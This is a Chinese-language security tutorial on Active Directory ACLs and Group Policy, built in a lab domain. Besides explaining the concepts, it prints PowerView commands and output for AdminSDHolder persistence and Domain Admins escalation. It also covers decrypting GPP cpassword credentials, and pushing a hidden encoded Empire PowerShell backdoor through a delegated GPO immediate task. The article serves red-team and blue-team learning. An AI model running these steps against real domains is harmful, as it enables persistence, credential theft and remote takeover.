域渗透中的ACL访问控制和组策略利用方法

前言

在Windows域环境下的攻防对抗,有许多利用手段都与访问控制的权限相关。当企业域环境经历长时间的发展变化,部分运维管理工作可能会因疏漏和遗忘,留下一些存在风险隐患的配置,这些风险隐患在内部环境的正常运行中几乎不会产生太多影响,但实际上,这些风险点就像一道道划开的口子,一旦攻击者通过某种手段成功进入内网环境中,就可被轻而易举的利用,甚至拿下部分或全部权限,产生实质性的重大影响。

说到访问控制和权限管理,在Windows下,ACL和组策略是两个常见话题,ACL是Windows环境中访问控制模型的重点,而组策略是用于域环境下计算机和账户的集中管理,本文将从访问控制ACL和GPO组策略对象展开,介绍与此相关的基础知识和安全场景。

测试环境:

域:cody.com
域控:Windows 2008 R2
域内计算机:testwin8、testwin7-pc
域内普通用户:peter、sally、aab、god

 

ACL 访问控制

简单来说,访问控制,是指某主体(subject)允许或不被允许对某实体(object)执行读取、写入、删除、更改等某种操作,在Windows中,subject通常是进程,object是指securable object即安全对象,可能是文件、目录、管道、服务、注册表、打印机、共享等,访问控制即对访问行为是否具有合法权限进行判定并执行相应的操作,而访问行为实际上就是subject访问object的过程。Windows操作系统会为访问行为的主体(subject)创建访问令牌(Access token),且当访问行为的实体(object)被创建时操作系统会为其创建一个安全描述符(Security descriptor),ACL对权限的访问控制正是通过访问令牌和安全描述符来完成的。

 

  • 访问令牌(Access token):当用户登陆成功时,系统将为该用户创建访问令牌,每一个以该用户权限运行的进程都会使用该访问令牌的副本,访问令牌中包含有Security Identifiers(SID),用于标识该用户账号以及其所属的用户组。系统在用户请求访问某些对象时,通过提供的访问令牌来确认是否具有对应的访问权限;

  • 安全描述符(Security descriptor):当一个对象被创建时,系统将为其分配安全描述符,安全描述符包含了该对象的属主对该对象所配置的一些安全属性和策略,安全描述符由4部分组成,包含SID(标识该对象拥有的SID),DACL(该对象的访问控制策略),SACL(该对象的访问行为的审计策略)、Flag(其他标志位信息);

 

Windows下的ACL访问控制列表,用于设置对象的访问属性安全策略,访问控制列表由访问控制实体(ACE,Access Control Entries)组成,每一个ACE可以看作配置的一条访问策略。从上述的安全描述符中我们可以知道有两种类型的ACL,它们分别是:

  • DACL:Discretionary Access Control List,定义对象的访问控制策略(允许或拒绝访问),DACL的ACE定义了哪些用户或用户组对该对象具有怎样的访问权限,当请求访问该对象时,系统检查请求方的SID与对象DACL中的ACE配置策略,根据找到的ACE配置授予访问或拒绝访问。如果该对象没有设置DACL,系统默认允许所有访问操作,如果对象配置了DACL但找不到对应SID的ACE条目,系统将拒绝访问操作;

  • SACL:System Access Control List,定义对象的访问行为记录策略,SACL的ACE定义了对哪些用户或用户组的哪些访问行为进行日志记录,例如对指定用户的访问成功、失败行为进行审计记录日志等。

 

AdminSDHolder权限维持

1.SDProp与AdminSDHolder

受保护对象(通常是一些特权内置账号如Domain Admins、Enterprise Admins等)被系统安全策略保护,以避免这些特权对象被恶意修改或滥用(防止被删除、修改权限等)。每一个被保护的对象由SDProp进程(Security Descriptor Propagation)监控保护,SDProp进程每60分钟运行一次,运行时检查受保护对象的安全描述符,检查将依照AdminSDHolder容器的ACL,如果受保护对象的ACL配置与AdminSDHolder容器的ACL配置不一致,SDProp进程将重写该受保护对象的ACL,使其恢复与AdminSDHolder容器相同的ACL配置。

AdminSDHolder位于LDAP中CN=AdminSDHolder,CN=System,DC=cody,DC=com,可以理解为AdminSDHolder的ACL配置是一个安全的配置模板。

 

AdminCount属性

被SDProp进程保护的对象会将AdminCount属性设置为1,SDProp进程根据该属性识别哪些对象是受保护的。值得注意的是,当一个原本受保护的对象从受保护组中移除之后,AdminCount属性不会被重置(仍然保持原来的设置值)。

手动触发SDProp进程:通过LDAP修改fixupInheritance值为1(Windows 2008及后续版本修改runProtectAdminGroupsTask)来触发即时的SDProp进程运行。

AdminSDHolder默认保护的对象(Windows 2008/Windows 2008 R2):

Account Operators,Administrator,Administrators,Backup Operators,Domain Admins,Domain Controllers,Enterprise Admins,Krbtgt,Print Operators,Read-only Domain Controllers,Replicator,Schema Admins,Server Operators

Powerview中提供了可以枚举AdminCount值为1的对象:

Get-NetUser -Admincount
Get-NetGroup -Admincount

 

2.利用AdminSDHolder和SDProp实现隐蔽的权限维持

已经拿到域管权限,利用域管权限,修改AdminSDHolder的ACL配置,这样当SDProp进程运行时以AdminSDHolder的ACL为模板进行受保护对象ACL配置检查时,将会把添加进去的配置同步到受保护对象的ACL中。

 

  • 1.将目标用户添加到AdminSDHolder对象的ACL中,使其拥有“完全控制”权限或“修改”权限,这一步操作需要域管权限;

  • 2.等待SDProp进程运行,SDProp运行之后,目标用户将成为域管理员组的成员,该用户可以修改域管理员组成员关系,意味着其可以将其他账号提升为域管理员(注意该用户并不属于域管理员组,直接查看该用户的memberof属性是没有域管组的,但是因为域管理员组的ACL中有一条对该用户的权限分配,因此其对域管组有权限);

 

利用Powerview集成的函数可以实现上述攻击。

为AdminSDHolder容器添加ACL:为用户aab分配完整权限。

PS C:\Users\god> Add-ObjectAcl -TargetADSprefix "CN=AdminSDHolder, CN=System"  -PrincipalSamAccountName aab -Rights All

# 查询AdminSDHolder的ACL配置,确认aab用户已对AdminSDHolder具有权限
PS C:\Users\god> Get-ObjectAcl -ResolveGUIDs -ADSprefix "CN=AdminSDHolder, CN=System" | ? {$_.identityReference -match "aab"}

PropagationFlags      : None
InheritanceFlags      : None
ObjectType            : All
AccessControlType     : Allow
ObjectSID             :
InheritedObjectType   : All
IsInherited           : False
ObjectDN              : CN=AdminSDHolder,CN=System,DC=cody,DC=com
IdentityReference     : CODY\aab
ObjectFlags           : None
ActiveDirectoryRights : GenericAll
InheritanceType       : None

# 此时aab用户已经加入到AdminSDHolder的ACL配置中,SDProp进程运行完成后,检查aab用户对域管理员组是否具有权限
PS C:\Users\god> Get-ObjectAcl -ADSprefix "CN=Domain admins,CN=Users" -resolveguids | ? {$_.identityreference -match "aab"}

PropagationFlags      : None
InheritanceFlags      : None
ObjectType            : All
AccessControlType     : Allow
ObjectSID             : S-1-5-21-3565544805-1199549939-1680707671-512
InheritedObjectType   : All
IsInherited           : False
ObjectDN              : CN=Domain Admins,CN=Users,DC=cody,DC=com
IdentityReference     : CODY\aab
ObjectFlags           : None
ActiveDirectoryRights : GenericAll
InheritanceType       : None


# aab用户对Domain Admins组已经有权限,但是aab用户并不属于任何组
PS C:\Users\god> Get-UserProperty -Properties memberof | ? {$_.name -match "aab"}

name                                                        memberof
----                                                        --------
aab


此时aab用户已经有权限修改域管理员组的成员关系了,可以添加任意用户成为域管理员。

将sally用户添加到域管理员组中。

PS C:\Users\aab> Add-NetGroupUser -UserName "sally" -GroupName "Domain Admins" -Domain "cody.com"
PS C:\Users\aab>
PS C:\Users\aab> Get-NetGroupMember "Domain Admins"

GroupDomain  : cody.com
GroupName    : Domain Admins
MemberDomain : cody.com
MemberName   : sally
MemberSID    : S-1-5-21-3565544805-1199549939-1680707671-1127
IsGroup      : False
MemberDN     : CN=sally,CN=Users,DC=cody,DC=com

GroupDomain :  cody.com
GroupName    : Domain Admins
MemberDomain : cody.com
MemberName   : god
MemberSID    : S-1-5-21-3565544805-1199549939-1680707671-1110
IsGroup      : False
MemberDN     : CN=god,CN=Users,DC=cody,DC=com

GroupDomain  : cody.com
GroupName    : Domain Admins
MemberDomain : cody.com
MemberName   : Administrator
MemberSID    : S-1-5-21-3565544805-1199549939-1680707671-500
IsGroup      : False
MemberDN     : CN=Administrator,CN=Users,DC=cody,DC=com

# sally用户已经加入到域管理员组
PS C:\Users\aab> Get-UserProperty -Properties memberof | ? {$_.name -match "sally"}

name                                                        memberof
----                                                        --------
sally                                                       CN=Domain Admins,CN=Users,DC=cody,DC=com

 

枚举ACL配置

Powerview集成的Invoke-ACLScanner可以枚举检查活动目录中可能存在风险的ACL配置,Invoke-ACLScanner会查询每一个对象的ACL配置,如果某个对象的某些权限被分配给SID大于或等于1000的用户(或用户组等其他对象),则该条权限配置将被认为是有风险的(即IdentityReference>=1000)。

Invoke-ACLScanner -ResolveGUIDs

 

GPO 组策略对象

组策略是Windows在域环境下用户管理域环境对象的一种手段,通过配置组策略可以对域中的用户、用户组、计算机进行不同维度的管理,如安全配置、注册表配置、软件安装配置、开关机与登入登出管理等。配置的组策略通过关联到站点、域、组织单位上来在不同层级应用不同的策略配置。组策略配置分为两部分,分别是计算机配置和用户配置。当域控建立时,默认会创建两个组策略,分别是Default Domain Policy和Default Domain Contoller Policy。

组策略的配置存储于组策略对象中,组策略对象(Group Policy Object,简称GPO)由两部分组成,分别是组策略容器(GPC)和组策略模板(GPT),GPT是具体的配置模板,包含实际的配置文件,GPC是组织GPT的一种容器,可以将其视作组织管理具体配置的容器。此外,客户端扩展程序(CSEs)是存在于客户端上用于执行下发的组策略的代理程序。

组策略管理控制台:用于查看、启用、设置、编辑组策略的管理面板(gpmc.msc)。

1.组策略容器(GPC)

活动目录以容器的概念来组织和管理策略,组策略容器存储了每一个组策略详细的基本信息,如策略名称、标识组策略的GUID、组策略链接到的层级(即作用的对象)、策略模板的具体路径、策略应用的筛选过滤等,客户端可以从组策略容器中获取到关于该策略的所有元信息以及具体配置路径。

组策略容器位于LDAP数据库中的 “CN=Policies, CN=System, DC=cody, DC=com” ,该节点下是以GUID命名的各个组策略容器,如下通过LDP可以看到不同的组策略容器。

组策略容器中,有几个重要的属性配置:

  • displayname:组策略的可读名称;
  • gPCFileSysPath:组策略模板(GPT)所在的具体路径,即客户端查找具体的配置信息的物理路径,位于域控的SYSVOL共享中;
  • gPCMachineExtensionNames:客户端执行该组策略所需的客户端扩展程序;

 

此外,当某个对象应用了某个指定的组策略时,该对象的gPLink属性将包含指向该组策略容器的完整DN,gPLink属性值形式如下:

# 分号后的0或者1表示该条策略应用时是否强制,0表示非强制,1表示强制
[LDAP://CN={GPO_GUID}, CN=Policies, CN=System, DC=cody, DC=com;0/1]


 

2.组策略模板(GPT)

组策略模板是组策略具体的策略配置信息,其位于域控制器的SYSVOL共享目录下(通过net share可以看到该共享)。

SYSVOL共享所在路径:%windir%/sysvol/sysvol,GPT位于SYSVOL共享下的DOMAIN_NAME\Policies目录下的各个GUID文件夹内。

GPT在SYSVOL共享中以容器的形式组织目录结构,以GUID标识为目录名的各个组策略配置目录包含以下内容:

  • Macheine目录:包含针对计算机的策略配置;
  • User目录:包含针对用户的策略配置;
  • gpt.ini文件:该组策略对象的一些配置信息(如版本信息、策略名称);

 

Machine目录和User目录存放着具体的策略配置信息文件,根据设置了不同的组策略配置拥有不同的目录结构,如Scripts目录包含开关机和登入登出的执行脚本、Applications目录包含关于软件的配置、Preferences目录包含首选项配置。

 

3.组策略管理

编辑组策略

通过组策略管理控制台,选中对应的组策略对象,编辑打开的组策略管理编辑器,配置相应的计算机配置和用户配置。

 

应用组策略

启用组策略实际上是将配置好的组策略对象链接到指定的作用层级范围上,组策略对象可被链接到的作用范围按层级关系分为:站点(site)、域(domain)、组织单位(OU),注意组策略被应用的最小单元是OU,即不能直接将一个组策略应用到某个用户或某个计算机上,而应该将这些计算机或用户加入一个OU中,然后将组策略链接到该OU上,OU可以具有层级关系的嵌套(即OU中又包含子OU)。

组策略被应用到某个层级上时,会有继承关系存在,除非显式的“阻止继承”,否则默认情况下链接到高层级的组策略配置同样会应用到该层级以下的OU(和多级子OU中),因此,某个OU下的对象所应用的组策略配置除了链接到自身OU的组策略对象外还包括从上层继承而来的组策略配置。

组策略配置完成后,需要通过强制刷新来使得更改的组策略立即生效,通过gpupdate命令完成。

gpupdate /force

因为组策略的继承和OU的层级组织关系,组策略的应用具有优先级和可能存在配置覆盖,其基本的应用顺序是:由远及近,继承关系越远的组策略越先被应用,越靠近自身层级链接的组策略对象越后被应用(实际上还有本地策略,本地策略最先被应用),因此先被应用的组策略可能会被后应用的组策略配置覆盖。通过组策略管理控制台可以看到组策略被应用的顺序。

链接的组策略对象看到的是显式链接到该OU上的组策略(不包含本地策略和继承自上层的组策略),策略的应用顺序在列表中由下至上,可以通过移动拖拽来改变策略的应用顺序。

组策略继承看到的是所有应用到该OU上的组策略,包括显式链接到本OU的组策略和继承自上层的组策略。

 

策略继承和强制执行

默认情况下OU下的对象不仅会应用显式链接到该OU上的组策略,还会应用继承自上层的组策略,可以通过在OU上设置“阻止继承”。

还可以将组策略对象设置为强制执行,将使得该组策略在任何情况下都不会被阻止执行(即时OU配置了“阻止继承”)。

当设定组策略为强制执行时,该调策略将被提升为最高优先级(位于组策略继承列表中的最高项),如果存在多条强制执行的组策略,则越靠近所在OU的组策略优先级越低(越早被应用,与默认相反)。

 

查看组策略的整体配置

通过组策略管理控制台,右侧的“设置”可以看到有效的具体配置信息。

还可以通过命令行下的gpresult查看应用的组策略。

gpresult
选项/r、/v、/z分别指定显式摘要信息、详细信息、超详细信息

还可以通过管理控制台来模拟和查看配置的组策略,在管理控制台添加“策略的结果集”管理单元,通过记录模式或计划模式,选定要模拟的用户和计算机,来查看其最后将生效的配置,可以检验和排查组策略的配置。

 

组策略对象版本

组策略对象具有版本信息,用作客户端检查版本是否变动来对应用的策略进行更新,版本信息分为计算机配置版本和用户配置版本,且各自包含AD版本号和SYSVOL版本号,分别表示活动目录数据库中记录的版本(即GPC记录的版本)和SYSVOL共享中记录的版本(即GPT的版本),AD版本号和SYSVOL版本号可能会因域控间数据同步不及时导致不一致。

通过组策略管理控制台查看版本号信息时,版本号以数字形式展示:

而直接查看GPC属性(通过ADSI编辑器)或直接查看GPT(通过gpt.ini文件)看到的版本号信息,则需要通过计算转换。

首先将该值转化为16进制数字,低四位表示计算机配置的版本号,高四位表示用户配置的版本号。

65540
0001 0004
0001 >  User Conf node version, 0004 > Machine Conf node version

客户端执行组策略配置时会将已应用的组策略版本信息记录在注册表中,以便与新的组策略版本做比较,该注册表键位于:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State

当前应用的组策略信息位于State下的两个节点中,分别是Machine节点包含了计算机配置应用的组策略,当前用户SID节点下包含了用户配置应用的组策略,两个节点下都包含有GPO-List,其下就是各自应用的组策略。

 

组策略对象筛选配置

配置组策略对象时,可以设置筛选器,使组策略应用于指定的对象上,有两种类型的筛选器配置:安全筛选和WMI筛选。

  • Security Filter:满足安全筛选过滤器条件的对象才可以应用该组策略对象的配置,通常是用户、用户组、计算机对象,实际上,添加到安全筛选中的对象之所以有权限应用该组策略,是因为加入安全筛选过滤器的过程中为这些对象添加了对组策略对象的读权限和应用权限(Read、Apply Group Policy);

通过组策略管理控制台,查看指定的组策略对象,右侧“委派”可以看到该组策略对象的权限分配信息。

  • WMI Filter:可以通过WMI的SELECT语句筛选指定的对象应用该组策略。

WMI筛选和安全筛选需要相互配置使用,即被WMI筛选过滤器筛选出来的对象同样需要拥有对该组策略对象的读和应用权限(即其需要包含在安全筛选过滤器中)。

 

组策略安全

1.从SYSVOL共享中查找潜在的密码配置

在计算机配置或用户配置中,有一项“首选项”的配置,其下可以配置设备映射、文件夹选项、网络配置、定时任务等等,这部分的配置将会以XML形式的配置文件存储于SYSVOL对应目录下。

从Windows 2008开始,组策略首选项配置支持设置并使用指定的登陆凭证来完成一些配置或任务,如创建账户、创建/更新服务、映射驱动器、设置定时任务、修改账户密码等等,当设置了这些配置并提供了对应的登陆凭证时,这些登陆凭证信息将被存储于对应的XML文件中,密码信息会被加密存储于XML中的cpassword字段,实际上这个加密利用的密钥是一个公开密钥(为了所有获取该组策略配置的计算机都可以解开,用于解密的AES密钥位于这里),如果找到存在cpassword字段的XML配置文件,提取其值并用已知密钥解密,即可获得指定的登陆凭证信息。

如下,新建一个cody_test_policy_credential组策略,并在用户配置的首选项配置中新建一个用户账户配置,该条配置会在用户登入后自动在计算机上创建一个名为hello的本地账户,策略配置过程中会要求输出要创建的账户名跟密码,随后该用户名和密码将被加密存储于Groups.xml文件中。


只要获取SYSVOL下的所有XML配置文件,查找存在的cpassword,然后使用AES密钥进行解密,就可以获得相关的账户和密码,PowerSploit中的Exfiltration模块下的Get-PPPassword实现了这个功能。

取得了用户名和密码凭证之后,还要找出该用户名密码凭证可用于登陆哪些机器,即该组策略被应用到哪些计算机上,可通过Powerview中的Get-NetOU和Get-NetComputer/Get-NetUser完成,详见下个例子中的查找GPO的应用对象。

 

除了使用Powersploit,msf同样提供了攻击模块用于实现从SYSVOL中提取潜在的密码。

这种将密码存储于组策略配置中的应用通常出现在:域环境中,管理员为了重置所有加入域的计算机的内置管理员密码,于是通过配置一条组策略来修改内置管理员的密码,这势必导致要修改的密码会被存储到XML配置文件中,且所有的计算机被重置后密码都相同。

微软在补丁KB2962486(MS14-025)中对这个特性做了修改,该补丁应安装于所有管理组策略对象的主机上(通常是域控),该补丁不再允许在首选项配置中使用密码,因此可能影响原有的组策略(但原有的包含cpassword的xml配置文件仍然不会被移除),如不再支持在首选项配置中修改本地管理员账号的密码,微软提供了powershell脚本函数来实现同样的功能,KB2962486补丁及其影响和解决方法参考

微软为统一修改域内计算机的本地管理员账户密码提供的技术:LAPS。

 

2.滥用组策略权限委派

组策略的权限存在被利用的可能性,组策略的权限即组策略的DACL配置,即权限委派。如果组策略对象的修改或完全控制权限被分配给了某个用户,当该用户被攻击者拿下之后,攻击者利用该用户权限可以修改并配置特定的组策略来渗透攻击受该组策略作用的用户或计算机。

如下,组策略cody_test_policy_credential委派给用户peter编辑设置的权限,peter用户可以随意更改该组策略的相关配置,而peter只是一个普通域用户,因此这是一个有风险的组策略权限委派,在peter用户被攻击者拿下之后攻击者可以利用peter用户对该组策略的权限扩展攻击路线。

使用第一节中讲到的Invoke-ACLScanner可用于检索可能存在风险的ACL配置,通过指定DN可以检索可能存在风险的组策略权限配置。

PS C:\Users\god> Invoke-ACLScanner -ResolveGUIDs -ADSpath "CN=Policies, CN=System, DC=cody, DC=com" -verbose

PropagationFlags      : None
InheritanceFlags      : ContainerInherit
ObjectType            : All
AccessControlType     : Allow
ObjectSID             :
InheritedObjectType   : All
IsInherited           : False
ObjectDN              : CN={407A34C1-7C53-438F-A325-F452B90899BB},CN=Policies,CN=System,DC=cody,DC=com
IdentityReference     : CODY\peter
ObjectFlags           : None
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
InheritanceType       : All
IdentitySID           : S-1-5-21-3565544805-1199549939-1680707671-1107

PropagationFlags      : None
InheritanceFlags      : ContainerInherit
ObjectType            : All
AccessControlType     : Allow
ObjectSID             :
InheritedObjectType   : All
IsInherited           : True
ObjectDN              : CN=Machine,CN={407A34C1-7C53-438F-A325-F452B90899BB},CN=Policies,CN=System,DC=cody,DC=com
IdentityReference     : CODY\peter
ObjectFlags           : None
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
InheritanceType       : All
IdentitySID           : S-1-5-21-3565544805-1199549939-1680707671-1107

PropagationFlags      : None
InheritanceFlags      : ContainerInherit
ObjectType            : All
AccessControlType     : Allow
ObjectSID             :
InheritedObjectType   : All
IsInherited           : True
ObjectDN              : CN=User,CN={407A34C1-7C53-438F-A325-F452B90899BB},CN=Policies,CN=System,DC=cody,DC=com
IdentityReference     : CODY\peter
ObjectFlags           : None
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
InheritanceType       : All
IdentitySID           : S-1-5-21-3565544805-1199549939-1680707671-1107


PS C:\Users\god>

通过Invoke-ACLScanner对ACL的检查找到上述存在风险的组策略,接着利用Get-NetOU查找应用了该组策略的OU。

PS C:\Users\god> Get-NetOU -GUID 407A34C1-7C53-438F-A325-F452B90899BB
LDAP://OU=tophant users,DC=cody,DC=com
PS C:\Users\god>

发现上述OU应用了该组策略配置,再通过Get-NetComputer和Get-NetUser查找属于该OU的成员,即可确定该权限配置可能影响的用户和计算机。

PS C:\Users\god> Get-NetOU -GUID 407A34C1-7C53-438F-A325-F452B90899BB | %{Get-NetUser -ADSpath $_}
PS C:\Users\god> Get-NetOU -GUID 407A34C1-7C53-438F-A325-F452B90899BB | %{Get-Netcomputer -ADSpath $_}
testwin8.cody.com
TESTWIN7-PC.cody.com
PS C:\Users\god>

由此可确定,存在风险的组策略权限委派是:名为cody_test_policy_credential的组策略分配给普通域用户peter编辑权限,应用该组策略的计算机对象为testwin8和testwin7-pc,因此,拿下peter用户可以间接拿下testwin8和testwin7-pc两台计算机。

利用组策略的权限委派缺陷可以留下后门,如定制特殊的开机启动脚本、修改浏览器安全配置、安装特定软件、将指定域账号添加到本地管理员组、添加定时任务等等。这些在组策略中做的配置会被该组策略链接的OU下的成员在应用策略时执行。以下以创建即时任务为例。

 

3.利用组策略创建即时任务

用户配置/计算机配置——>首选项——>控制面板——>计划任务,新建即时任务,即时任务会在组策略每次被刷新时执行,即时任务对应的XML配置文件是Machine\Preferences\ScheduledTasks\ScheduledTasks.xml(或User\Preferences\ScheduledTasks\ScheduledTasks.xml)。

Powerview中集成的New-GPOImmediateTask实现了利用组策略权限委派缺陷来创建即时任务,其原理是根据选定参数(即时任务名称、任务欲执行的程序,程序参数等),生成一个ScheduledTasks.xml文件,并利用对某个组策略对象的权限将该xml配置文件复制推送到对应的GPC下。

首先通过上面的步骤找到有风险的组策略权限委派,利用权限委派的用户和组策略来执行New-GPOImmediateTask。

# -TaskName指定即时任务名称,-GPODisplayName要指定有编辑权限的组策略对象名称,-Command参数指定欲执行的命令(默认为powershell.exe),-CommandArguments指定命令参数
New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-NoP -NonI -W Hidden -Enc JABXAGMAPQBO...' -Force
# 将根据-GPODisplayName指定的组策略对象找到对应的组策略GUID,然后将即时任务配置文件复制到SYSVOL\{GPO_GUID}Machine\Preferences\ScheduledTasks\目录下成为ScheduledTasks.xml

使用empire设置HTTP监听器,生成powershell载荷。

使用Powerview的New-GPOImmediateTask进行利用。

PS C:\Users\peter> New-GPOImmediateTask -TaskName empire_backdoor -GPODisplayName cody_test_policy_credential -CommandArguments "-nop -noi -W hidden -enc EMPIRE_BACKDOOR_POWERSHELL_ENCODED_COMMAND" -verbose

SYSVOL共享中该组策略将写入ScheduledTasks.xml配置文件。


强制刷新组策略应用后,empire上获得回弹的shell。

Bloodhound上可以看到该组策略作用的对象。

 

Ending

红蓝双方在Windows域环境下的内网攻防对抗在很多情况下取决于双方对所处环境的了解程度,本文从ACL访问控制和组策略对象这两个内容展开,介绍了一些基础知识和简单的安全场景,这些内容也许有助于红蓝双方对权限管理和访问控制有些许掌握和了解,除此之外,Windows域相关安全场景研究是一个很有意思的话题,期待更多的交流。

 

作者:斗象能力中心 TCC – Cody

评论(0)

暂无评论

发表评论

captcha